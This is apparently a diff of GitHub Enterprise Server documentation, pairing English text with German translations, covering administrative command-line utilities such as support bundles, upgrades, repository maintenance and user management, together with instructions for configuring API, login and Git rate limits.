This utility helps to analyze Git traffic. It queries _Governor_ data files, located under `/data/user/gitmon`. {% data variables.product.company_short %} holds one hour of data per file, retained for two weeks. For more information, see [Analyzing Git traffic using Governor](https://github.community/t/analyzing-git-traffic-using-governor/13516) in {% data variables.product.prodname_github_community %}.
Dieses Dienstprogramm hilft beim Analysieren des Git-Datenverkehrs. Es fragt die _Governor_-Datendateien ab, die sich unter `/data/user/gitmon` befinden. {% data variables.product.company_short %} enthält eine Stunde Daten pro Datei, die zwei Wochen lang aufbewahrt werden. Weitere Informationen findest du unter [Analysieren des Git-Datenverkehrs mithilfe von Governor](https://github.community/t/analyzing-git-traffic-using-governor/13516) in {% data variables.product.prodname_github_community %}.
```bash
ghe-governor <subcommand> <column> [options]
@ -712,7 +713,7 @@ Try ghe-governor <subcommand> --help for more information on the arguments each
### ghe-repo
This utility allows you to change to a repository's directory and open an interactive shell as the `git` user. You can perform manual inspection or maintenance of a repository via commands like `git-*` or `git-nw-*`.
Mit diesem Dienstprogramm kannst du das Verzeichnis eines Repositorys ändern und als der `git`-Benutzer eine interaktive Shell öffnen. Durch Ausführung der Befehle `git-*` oder `git-nw-*` kannst du die manuelle Untersuchung oder Wartung eines Repositorys durchführen.
```shell
ghe-repo USERNAME/REPONAME
@ -720,13 +721,13 @@ ghe-repo USERNAME/REPONAME
### ghe-repo-gc
This utility manually repackages a repository network to optimize pack storage. If you have a large repository, running this command may help reduce its overall size. {% data variables.product.prodname_enterprise %} automatically runs this command throughout your interaction with a repository network.
Mit diesem Dienstprogramm wird ein Repository-Netzwerk neu gepackt, um den Paketspeicher zu optimieren. Wenn du über ein großes Repository verfügst, wird seine Größe durch die Ausführung dieses Befehls ggf. reduziert. {% data variables.product.prodname_enterprise %} führt diesen Befehl automatisch während der gesamten Interaktion mit einem Repository-Netzwerk aus.
You can add the optional `--prune` argument to remove unreachable Git objects that aren't referenced from a branch, tag, or any other ref. This is particularly useful for immediately removing [previously expunged sensitive information](/enterprise/user/articles/remove-sensitive-data/).
Du kannst das optionale Argument `--prune` hinzufügen, um nicht erreichbare Git-Objekte zu entfernen, auf die nicht aus einer Verzweigung, einem Tag oder durch einen anderen Verweis verwiesen wird. Dies ist besonders nützlich, um [zuvor gelöschte vertrauliche Informationen](/enterprise/user/articles/remove-sensitive-data/) sofort zu entfernen.
{% warning %}
**Warning**: Before using the `--prune` argument to remove unreachable Git objects, put {% data variables.location.product_location %} into maintenance mode, or ensure all repositories within the same repository network are locked. For more information, see "[Enabling and scheduling maintenance mode](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode)."
**Warnung**: Bevor du das Argument `--prune` verwendest, um nicht erreichbare Git-Objekte zu entfernen, setze {% data variables.location.product_location %} in den Wartungsmodus, oder stelle sicher, dass alle Repositorys innerhalb desselben Repositorynetzwerks gesperrt sind. Weitere Informationen findest du unter „[Aktivieren und Planen des Wartungsmodus](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode).
{% endwarning %}
@ -738,7 +739,7 @@ ghe-repo-gc USERNAME/REPONAME
### ghe-actions-check
This utility checks that all services for {% data variables.product.prodname_actions %} are healthy. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)" and "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise)."
Dieses Dienstprogramm überprüft, ob alle Dienste für {% data variables.product.prodname_actions %} fehlerfrei sind. Weitere Informationen findest du unter „[Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)“ und „[Problembehandlung bei {% data variables.product.prodname_actions %} für dein Unternehmen](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise).
```shell
ghe-actions-check
@ -746,70 +747,70 @@ ghe-actions-check
### ghe-actions-precheck
This utility tests the blob storage configuration for {% data variables.product.prodname_actions %} on {% data variables.location.product_location %}. You can use the utility to verify your storage configuration before you enable {% data variables.product.prodname_actions %} for your instance.
Dieses Hilfsprogramm testet die Blobspeicherkonfiguration für {% data variables.product.prodname_actions %} auf {% data variables.location.product_location %}. Du kannst das Dienstprogramm verwenden, um deine Speicherkonfiguration zu überprüfen, bevor du {% data variables.product.prodname_actions %} für deine Instanz aktivierst.
For more information about the configuration of {% data variables.product.prodname_actions %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)."
Weitere Informationen zur Konfiguration von {% data variables.product.prodname_actions %} findest du unter „[Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server).
```shell
ghe-actions-precheck -p [PROVIDER] -cs ["CONNECTION-STRING"]
```
If your storage system is configured correctly, you'll see the following output.
Wenn dein Speichersystem ordnungsgemäß konfiguriert ist, wird die folgende Ausgabe angezeigt.
```
All Storage tests passed
```
## Import and export
## Importieren und exportieren
### ghe-migrator
`ghe-migrator` is a hi-fidelity tool to help you migrate from one GitHub instance to another. You can consolidate your instances or move your organization, users, teams, and repositories from GitHub.com to {% data variables.product.prodname_enterprise %}.
`ghe-migrator` ist ein hochwertiges Tool für die Migration von einer GitHub-Instanz zu einer anderen. Du kannst deine Instanzen konsolidieren oder deine Organisation, Benutzer, Teams und Repositorys von GitHub.com nach {% data variables.product.prodname_enterprise %} verschieben.
For more information, please see our guides on [migrating data to and from your enterprise](/enterprise/admin/user-management/migrating-data-to-and-from-your-enterprise/).
Weitere Informationen findest du in unseren Leitfäden zum [Migrieren von Daten zu und von deinem Unternehmen](/enterprise/admin/user-management/migrating-data-to-and-from-your-enterprise/).
### git-import-detect
Given a URL, detect which type of source control management system is at the other end. During a manual import this is likely already known, but this can be very useful in automated scripts.
Ermittelt anhand einer URL, welcher Quellcodeverwaltungssystem-Typ sich am anderen Ende befindet. Während eines manuellen Imports ist dieser wahrscheinlich bereits bekannt. Dies kann jedoch bei automatisierten Skripts sehr nützlich sein.
```shell
git-import-detect
```
### git-import-hg-raw
This utility imports a Mercurial repository to this Git repository. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
Dieses Hilfsprogramm importiert ein Mercurial-Repository in dieses Git-Repository. Weitere Informationen findest du unter „[Importieren von Daten aus Versionskontrollsystemen von Drittanbietern](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/).
```shell
git-import-hg-raw
```
### git-import-svn-raw
This utility imports Subversion history and file data into a Git branch. This is a straight copy of the tree, ignoring any trunk or branch distinction. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
Dieses Dienstprogramm importiert Daten über den Subversion-Verlauf und über Dateien in einen Git-Branch. Dies ist eine direkte Kopie der Struktur, wobei Trunk- oder Branch-Unterscheidungen ignoriert werden. Weitere Informationen findest du unter „[Importieren von Daten aus Versionskontrollsystemen von Drittanbietern](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/).
```shell
git-import-svn-raw
```
### git-import-tfs-raw
This utility imports from Team Foundation Version Control (TFVC). For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
Dieses Dienstprogramm importiert von Team Foundation Version Control (TFVC). Weitere Informationen findest du unter „[Importieren von Daten aus Versionskontrollsystemen von Drittanbietern](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/).
```shell
git-import-tfs-raw
```
### git-import-rewrite
This utility rewrites the imported repository. This gives you a chance to rename authors and, for Subversion and TFVC, produces Git branches based on folders. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
Dieses Dienstprogramm schreibt das importierte Repository erneut. Dies gibt dir die Möglichkeit, Autoren umzubenennen, und erzeugt für Subversion und TFVC auf Ordnern basierende Git-Verzweigungen. Weitere Informationen findest du unter „[Importieren von Daten aus Versionskontrollsystemen von Drittanbietern](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/).
```shell
git-import-rewrite
```
{% ifversion ghes > 3.3 %}
## Security
## Sicherheit
### ghe-find-insecure-git-operations
This utility searches your instance's logs and identifies Git operations over SSH that use insecure algorithms or hash functions, including DSA, RSA-SHA-1, HMAC-SHA-1, and CBC ciphers. You can use the output to support each client's transition to a more secure SSH connection. For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server){% ifversion ghes < 3.6 %}.{% elsif ghes > 3.5 %} and "[Configuring SSH connections to your instance](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance)."{% endif %}
Dieses Hilfsprogramm durchsucht die Protokolle deiner Instanz und identifiziert Git-Vorgänge über SSH, die unsichere Algorithmen oder Hashfunktionen verwenden, einschließlich der Verschlüsselungsverfahren DSA, RSA-SHA-1, HMAC-SHA-1 und CBC. Du kannst die Ausgabe verwenden, um den Übergang jedes Clients zu einer sichereren SSH-Verbindung zu unterstützen. Weitere Informationen findest du unter [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server){% ifversion ghes < 3.6 %}.{% elsif ghes > 3.5 %} und [Konfigurieren von SSH-Verbindungen mit deiner Instanz](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance).{% endif %}
```shell
ghe-find-insecure-git-operations
@ -821,9 +822,9 @@ ghe-find-insecure-git-operations
### ghe-diagnostics
This utility performs a variety of checks and gathers information about your installation that you can send to support to help diagnose problems you're having.
Dieses Dienstprogramm führt eine Vielzahl an Überprüfungen durch und erfasst Informationen zu deiner Installation, die du an den Support senden kannst, damit der Support deine Probleme diagnostizieren kann.
Currently, this utility's output is similar to downloading the diagnostics info in the {% data variables.enterprise.management_console %}, but may have additional improvements added to it over time that aren't available in the web UI. For more information, see "[Creating and sharing diagnostic files](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)."
Derzeit ähnelt die Ausgabe dieses Dienstprogramms dem Herunterladen der Diagnoseinformationen in der {% data variables.enterprise.management_console %}. Im Laufe der Zeit können ihr jedoch zusätzliche Verbesserungen hinzugefügt werden, die auf der Webbenutzeroberfläche nicht verfügbar sind. Weitere Informationen findest du unter „[Erstellen und Freigeben von Diagnosedateien](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files).
```shell
ghe-diagnostics
@ -831,27 +832,26 @@ ghe-diagnostics
### ghe-support-bundle
{% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %}
This utility creates a support bundle tarball containing important logs from your instance.
{% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} Dieses Dienstprogramm erstellt eine Support-Bundle-Tarball-Datei, die wichtige Protokolle aus deiner Instanz enthält.
By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the support bundle directly to {% data variables.product.prodname_enterprise %} support.
Standardmäßig erstellt der Befehl den Tarball in */tmp*, aber du kannst ihn auch nach `STDOUT` `cat` lassen, um das Streaming über SSH zu erleichtern. Dies ist nützlich, wenn die Web-Benutzeroberfläche nicht antwortet oder der Download eines Support-Bundles von */setup/support* nicht funktioniert. Du musst diesen Befehl ausführen, wenn du ein *erweitertes* Bundle generieren möchtest, das ältere Protokolle enthält. Du kannst diesen Befehl auch ausführen, um das Support-Bundle direkt für den {% data variables.product.prodname_enterprise %}-Support hochzuladen.
To create a standard bundle:
Um ein Standardpaket zu erstellen:
```shell
$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o' > support-bundle.tgz
```
To create an extended bundle:
Um ein erweitertes Paket zu erstellen:
```shell
$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -x -o' > support-bundle.tgz
```
To send a bundle to {% data variables.contact.github_support %}:
Um ein Paket an {% data variables.contact.github_support %} zu senden:
```shell
$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -u'
```
To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket:
Um ein Paket an {% data variables.contact.github_support %} zu senden und das Paket mit einem Ticket zu verknüpfen:
```shell
$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -t TICKET_ID'
@ -859,32 +859,32 @@ $ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -t TICKET_ID'
### ghe-support-upload
This utility sends information from your appliance to {% data variables.product.prodname_enterprise %} support. You can either specify a local file, or provide a stream of up to 100MB of data via `STDIN`. The uploaded data can optionally be associated with a support ticket.
Dieses Dienstprogramm sendet Informationen von deiner Appliance an den {% data variables.product.prodname_enterprise %}-Support. Über `STDIN` kannst du eine lokale Datei oder einen Datenstrom von bis zu 100 MB angeben. Optional können die hochgeladenen Daten einem Supportticket zugeordnet werden.
To send a file to {% data variables.contact.github_support %} and associate the file with a ticket:
Um eine Datei an {% data variables.contact.github_support %} zu senden und die Datei mit einem Ticket zu verknüpfen:
```shell
ghe-support-upload -f FILE_PATH -t TICKET_ID
```
To upload data via `STDIN` and associating the data with a ticket:
Um Daten über `STDIN` hochzuladen und die Daten mit einem Ticket zu verknüpfen:
```shell
ghe-repl-status -vv | ghe-support-upload -t TICKET_ID -d "Verbose Replication Status"
```
In this example, `ghe-repl-status -vv` sends verbose status information from a replica appliance. You should replace `ghe-repl-status -vv` with the specific data you'd like to stream to `STDIN`, and `Verbose Replication Status` with a brief description of the data. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
In diesem Beispiel sendet `ghe-repl-status -vv` ausführliche Statusinformationen aus einer Replikat-Appliance. Du solltest `ghe-repl-status -vv` durch die spezifischen Daten ersetzen, die du nach `STDIN` streamen möchtest, und `Verbose Replication Status` durch eine kurze Beschreibung der Daten. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
## Upgrading {% data variables.product.prodname_ghe_server %}
## Upgrade von {% data variables.product.prodname_ghe_server %}
### ghe-upgrade
This utility installs or verifies an upgrade package. You can also use this utility to roll back a patch release if an upgrade fails or is interrupted. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)."
Dieses Dienstprogramm installiert oder verifiziert ein Upgrade-Paket. Darüber hinaus kannst du dieses Dienstprogramm verwenden, um ein Rollback einer Patch-Veröffentlichung auszuführen, wenn ein Upgrade fehlschlägt oder unterbrochen wird. Weitere Informationen findest du unter [Upgrade für {% data variables.product.prodname_ghe_server %} durchführen](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/).
To verify an upgrade package:
Um ein Upgrade-Paket zu überprüfen:
```shell
ghe-upgrade --verify UPGRADE-PACKAGE-FILENAME
```
To install an upgrade package:
Um ein Upgrade-Paket zu installieren:
```shell
ghe-upgrade UPGRADE-PACKAGE-FILENAME
```
@ -893,45 +893,45 @@ ghe-upgrade UPGRADE-PACKAGE-FILENAME
### ghe-upgrade-scheduler
This utility manages scheduled installation of upgrade packages. You can show, create new, or remove scheduled installations. You must create schedules using cron expressions. For more information, see the [Cron Wikipedia entry](https://en.wikipedia.org/wiki/Cron#Overview).
Dieses Dienstprogramm verwaltet die geplante Installation von Upgrade-Paketen. Du kannst geplante Installationen anzeigen, neu erstellen oder entfernen. Pläne müssen mit Cron-Ausdrücken erstellt werden. Weitere Informationen findest du im [Eintrag zu Cron in Wikipedia](https://en.wikipedia.org/wiki/Cron#Overview).
The `ghe-upgrade-scheduler` utility is best suited for scheduling hotpatch upgrades, which do not require maintenance mode or a reboot in most cases. This utility is not practical for full package upgrades, which require an administrator to manually set maintenance mode, reboot the instance, and unset maintenance mode. For more information about the different types of upgrades, see "[Upgrading {% data variables.product.product_name %}](/admin/enterprise-management/upgrading-github-enterprise-server#upgrading-with-an-upgrade-package)"
Das Hilfsprogramm `ghe-upgrade-scheduler` eignet sich am besten für die Planung von Hotpatch-Upgrades, für die in den meisten Fällen kein Wartungsmodus oder Neustart erforderlich ist. Dieses Hilfsprogramm eignet sich nicht für vollständige Paketupgrades, bei denen ein Administrator den Wartungsmodus manuell festlegen, die Instanz neu starten und den Wartungsmodus aufheben muss. Weitere Informationen zu den verschiedenen Upgradetypen findest du unter [Aktualisieren von {% data variables.product.product_name %}](/admin/enterprise-management/upgrading-github-enterprise-server#upgrading-with-an-upgrade-package).
To schedule a new installation for a package:
Um eine neue Installation für ein Paket einzuplanen:
```shell
$ ghe-upgrade-scheduler -c "0 2 15 12 *" UPGRADE-PACKAGE-FILENAME
```
To show scheduled installations for a package:
Um eingeplante Installationen für ein Paket anzuzeigen:
```shell
$ ghe-upgrade-scheduler -s UPGRADE PACKAGE FILENAME
> 0 2 15 12 * /usr/local/bin/ghe-upgrade -y -s UPGRADE-PACKAGE-FILENAME > /data/user/common/UPGRADE-PACKAGE-FILENAME.log 2>&1
```
To remove scheduled installations for a package:
Um eingeplante Installationen für ein Paket zu entfernen:
```shell
$ ghe-upgrade-scheduler -r UPGRADE PACKAGE FILENAME
```
### ghe-update-check
This utility will check to see if a new patch release of {% data variables.product.prodname_enterprise %} is available. If it is, and if space is available on your instance, it will download the package. By default, it's saved to */var/lib/ghe-updates*. An administrator can then [perform the upgrade](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/).
Dieses Dienstprogramm überprüft, ob eine neue Patch-Veröffentlichung von {% data variables.product.prodname_enterprise %} verfügbar ist. Falls dies der Fall und auf deiner Instanz Speicherplatz verfügbar ist, wird das Paket heruntergeladen. Es wird standardmäßig unter */var/lib/ghe-updates* gespeichert. Ein Administrator kann dann [das Upgrade ausführen](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/).
A file containing the status of the download is available at */var/lib/ghe-updates/ghe-update-check.status*.
Eine Datei mit dem enthaltenen Downloadstatus ist unter */var/lib/ghe-updates/ghe-update-check.status* verfügbar.
To check for the latest {% data variables.product.prodname_enterprise %} release, use the `-i` switch.
Verwende den Schalter `-i`, um nach der neuesten {% data variables.product.prodname_enterprise %}-Version zu suchen.
```shell
$ ssh -p 122 admin@HOSTNAME -- 'ghe-update-check'
```
## User management
## Benutzerverwaltung
### ghe-license-usage
This utility exports a list of the installation's users in JSON format. If your instance is connected to {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} uses this information for reporting licensing information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
Dieses Dienstprogramm exportiert eine Liste von Benutzern der Installation im JSON-Format. Wenn deine Instanz mit der {% data variables.product.prodname_ghe_cloud %} verbunden ist, verwendet {% data variables.product.prodname_ghe_server %} diese Informationen, um Lizenzinformationen an die {% data variables.product.prodname_ghe_cloud %} zu melden. Weitere Informationen findest du unter „[Verbinden deines Unternehmenskontos mit {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud).
By default, the list of users in the resulting JSON file is encrypted. Use the `-h` flag for more options.
Standardmäßig wird die Liste der Benutzer in der resultierenden JSON-Datei verschlüsselt. Verwende das Flag `-h` für weitere Optionen.
```shell
ghe-license-usage
@ -939,7 +939,7 @@ ghe-license-usage
### ghe-org-membership-update
This utility will enforce the default organization membership visibility setting on all members in your instance. For more information, see "[Configuring visibility for organization membership](/enterprise/admin/guides/user-management/configuring-visibility-for-organization-membership)." Setting options are `public` or `private`.
Dieses Dienstprogramm erzwingt die standardmäßige Einstellung für die Sichtbarkeit von Mitgliedschaften in der Organisation für alle Mitglieder auf deiner Instanz. Weitere Informationen findest du unter „[Konfigurieren der Sichtbarkeit für die Organisationsmitgliedschaft](/enterprise/admin/guides/user-management/configuring-visibility-for-organization-membership)“. Einstellungsoptionen sind `public` oder `private`.
```shell
ghe-org-membership-update --visibility=SETTING
@ -947,7 +947,7 @@ ghe-org-membership-update --visibility=SETTING
### `ghe-user-csv`
This utility exports a list of all the users in the installation into CSV format. The CSV file includes the email address, which type of user they are (e.g., admin, user), how many repositories they have, how many SSH keys, how many organization memberships, last logged IP address, etc. Use the `-h` flag for more options.
Dieses Dienstprogramm exportiert eine Liste aller Benutzer in der Installation im CSV-Format. Die CSV-Datei enthält die E-Mail-Adresse, von welchem Benutzertyp sie sind (z. B. Administrator, Benutzer), über wie viele Repositorys, SSH-Schlüssel und Organisationsmitgliedschaften sie verfügen, wie die letzte protokollierte IP-Adresse lautet usw. Verwende das Flag `-h` für weitere Optionen.
```shell
ghe-user-csv -o > users.csv
@ -955,7 +955,7 @@ ghe-user-csv -o > users.csv
### ghe-user-demote
This utility demotes the specified user from admin status to that of a regular user. We recommend using the web UI to perform this action, but provide this utility in case the `ghe-user-promote` utility is run in error and you need to demote a user again from the CLI.
Dieses Dienstprogramm stuft den angegebenen Benutzer vom Administratorstatus auf einen gewöhnlichen Benutzer zurück. Du solltest die Web-Benutzeroberfläche verwenden, um diese Aktion durchzuführen, dieses Dienstprogramm jedoch für den Fall bereitstellen, dass das Dienstprogramm `ghe-user-promote` einen fehlerhaften Zustand aufweist und du einen Benutzer erneut über die CLI zurückstufen musst.
```shell
ghe-user-demote USERNAME
@ -963,7 +963,7 @@ ghe-user-demote USERNAME
### ghe-user-promote
This utility promotes the specified user account to a site administrator.
Dieses Dienstprogramm stuft das angegebene Benutzerkonto auf einen Websiteadministrator hoch.
```shell
ghe-user-promote USERNAME
@ -971,7 +971,7 @@ ghe-user-promote USERNAME
### ghe-user-suspend
This utility suspends the specified user, preventing them from logging in, pushing, or pulling from your repositories.
Dieses Dienstprogramm sperrt den angegebenen Benutzer und hindert ihn daran, sich anzumelden oder Elemente per Push-Vorgang an deine Repositorys zu übertragen oder aus diesen abzurufen.
```shell
ghe-user-suspend USERNAME
@ -979,7 +979,7 @@ ghe-user-suspend USERNAME
### ghe-user-unsuspend
This utility unsuspends the specified user, granting them access to login, push, and pull from your repositories.
Dieses Dienstprogramm entsperrt den angegebenen Benutzer und gewährt ihm Zugriff, um sich anzumelden und um Elemente per Push-Vorgang an deine Repositorys zu übertragen und aus ihnen abzurufen.
```shell
ghe-user-unsuspend USERNAME

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Configuring rate limits
intro: 'You can set rate limits for {% data variables.product.prodname_ghe_server %} using the {% data variables.enterprise.management_console %}.'
title: Configuring rate limits (Konfigurieren von Ratenbegrenzungen)
intro: 'Mithilfe der {% data variables.enterprise.management_console %} kannst du Begrenzungen für {% data variables.product.prodname_ghe_server %} festlegen.'
redirect_from:
- /enterprise/admin/installation/configuring-rate-limits
- /enterprise/admin/configuration/configuring-rate-limits
@ -12,112 +12,108 @@ topics:
- Enterprise
- Infrastructure
- Performance
ms.openlocfilehash: 2a90093f833639fa247acc7292d9897728043005
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107549'
---
## Enabling rate limits for the {% data variables.product.prodname_enterprise_api %}
## Aktivieren von Ratenbegrenzungen für die {% data variables.product.prodname_enterprise_api %}
Enabling rate limits on the {% data variables.product.prodname_enterprise_api %} can prevent overuse of resources by individual or unauthenticated users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)."
Durch die Aktivierung von Ratenbegrenzungen für die {% data variables.product.prodname_enterprise_api %} kann eine übermäßige Nutzung von Ressourcen durch einzelne oder nicht authentifizierte Benutzer verhindert werden. Weitere Informationen findest du unter „[Ressourcen in der REST-API](/rest/overview/resources-in-the-rest-api#rate-limiting).
{% ifversion ghes %}
You can exempt a list of users from API rate limits using the `ghe-config` utility in the administrative shell. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-config)."
{% ifversion ghes %} Über das `ghe-config`-Hilfsprogramm in der Verwaltungsshell kannst du eine Liste von Benutzern von API-Ratenbegrenzungen ausnehmen. Weitere Informationen findest du unter [Befehlszeilenprogramme](/enterprise/admin/configuration/command-line-utilities#ghe-config).
{% endif %}
{% note %}
**Note:** The {% data variables.enterprise.management_console %} lists the time period (per minute or per hour) for each rate limit.
**Hinweis:** In der {% data variables.enterprise.management_console %} wird der Zeitraum (pro Minute oder pro Stunde) für jede Ratenbegrenzung aufgelistet.
{% endnote %}
{% data reusables.enterprise_site_admin_settings.access-settings %}
{% data reusables.enterprise_site_admin_settings.management-console %}
2. Under "Rate Limiting", select **Enable HTTP API Rate Limiting**.
![Checkbox for enabling API rate limiting](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png)
3. Type limits for authenticated and unauthenticated requests for each API, or accept the pre-filled default limits.
{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %}
2. Wähle unter „Ratenbegrenzung“ die Option **HTTP-API-Ratenbegrenzung aktivieren** aus.
![Kontrollkästchen zum Aktivieren der API-Ratenbegrenzung](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png)
3. Gib die Begrenzungen für authentifizierte und nicht authentifizierte Anforderungen für jede API ein, oder akzeptiere die vorab ausgefüllten Standardbegrenzungen.
{% data reusables.enterprise_management_console.save-settings %}
{% ifversion enterprise-authentication-rate-limits %}
## Configuring rate limits for authentication to the {% data variables.enterprise.management_console %}
## Konfigurieren von Ratenbegrenzungen für die Authentifizierung bei der {% data variables.enterprise.management_console %}
You can configure the lockout time and login attempt limits for the {% data variables.enterprise.management_console %}. If a user exceeds the login attempt limit, the {% data variables.enterprise.management_console %} will remain locked for the duration set by the lockout time. {% data reusables.enterprise_management_console.unlocking-management-console-with-shell %}
Du kannst Grenzwerte für Sperrzeiten und Anmeldeversuche für die {% data variables.enterprise.management_console %} konfigurieren. Wenn ein Benutzer den Grenzwert für Anmeldeversuche überschreitet, bleibt die {% data variables.enterprise.management_console %} für die Dauer der festgelegten Sperrzeit gesperrt. {% data reusables.enterprise_management_console.unlocking-management-console-with-shell %}
{% data reusables.enterprise_site_admin_settings.access-settings %}
{% data reusables.enterprise_site_admin_settings.management-console %}
2. Under "Login attempt rate limiting", configure the lockout time and login attempt rate limit or accept the pre-filled default settings.
![Fields for configuring lockout time and login attempt rate limit](/assets/images/enterprise/management-console/login-attempt-rate-limiting.png)
{% data reusables.enterprise_management_console.save-settings %}
{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %}
2. Du kannst unter „Begrenzung der Anmeldeversuche“ die Sperrzeit und den Grenzwert für Anmeldeversuche konfigurieren oder die voreingestellten Standardwerte übernehmen.
![Felder zum Konfigurieren der Sperrzeit und des Grenzwerts für Anmeldeversuche](/assets/images/enterprise/management-console/login-attempt-rate-limiting.png) {% data reusables.enterprise_management_console.save-settings %}
{% endif %}
## Enabling secondary rate limits
## Aktivieren sekundärer Ratenbegrenzungen
Setting secondary rate limits protects the overall level of service on {% data variables.location.product_location %}.
Durch das Festlegen von sekundären Ratenbegrenzungen wird das allgemeine Dienstniveau von {% data variables.location.product_location %} geschützt.
{% data reusables.enterprise_site_admin_settings.access-settings %}
{% data reusables.enterprise_site_admin_settings.management-console %}
{% ifversion ghes %}
2. Under "Rate Limiting", select **Enable Secondary Rate Limiting**.
![Checkbox for enabling secondary rate limiting](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png)
{% else %}
2. Under "Rate Limiting", select **Enable Abuse Rate Limiting**.
![Checkbox for enabling abuse rate limiting](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png)
{% endif %}
3. Type limits for Total Requests, CPU Limit, and CPU Limit for Searching, or accept the pre-filled default limits.
{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% ifversion ghes %}
2. Wähle unter „Ratenbegrenzung“ die Option **Sekundäre Ratenbegrenzung aktivieren** aus.
![Kontrollkästchen für das Aktivieren von sekundären Ratenbegrenzungen](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png) {% else %}
2. Wähle unter „Ratenbegrenzung“ die Option **Missbrauchsbegrenzung aktivieren** aus.
![Kontrollkästchen zum Aktivieren der Missbrauchsbegrenzung](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png) {% endif %}
3. Gib die Begrenzungen für „Total Requests“ (Gesamtanforderungen), „CPU Limit“ (CPU-Begrenzung) und „CPU Limit for Searching“ (CPU-Begrenzung für Suchvorgänge) ein, oder akzeptiere die vorab ausgefüllten Standardbegrenzungen.
{% data reusables.enterprise_management_console.save-settings %}
## Enabling rate limits for Git
## Aktivieren von Ratenbegrenzungen für Git
If a member of {% data variables.product.company_short %}'s staff has recommended it, you can apply Git rate limits per repository network or per user ID. Git rate limits are expressed in concurrent operations per minute, and are adaptive based on the current CPU load.
Wenn ein Mitarbeiter von {% data variables.product.company_short %} dies empfohlen hat, kannst du Git-Ratenbegrenzungen pro Repositorynetzwerk oder pro Benutzer-ID anwenden. Git-Begrenzungen werden in gleichzeitigen Vorgängen pro Minute ausgedrückt und sind basierend auf der aktuellen CPU-Auslastung adaptiv.
{% warning %}
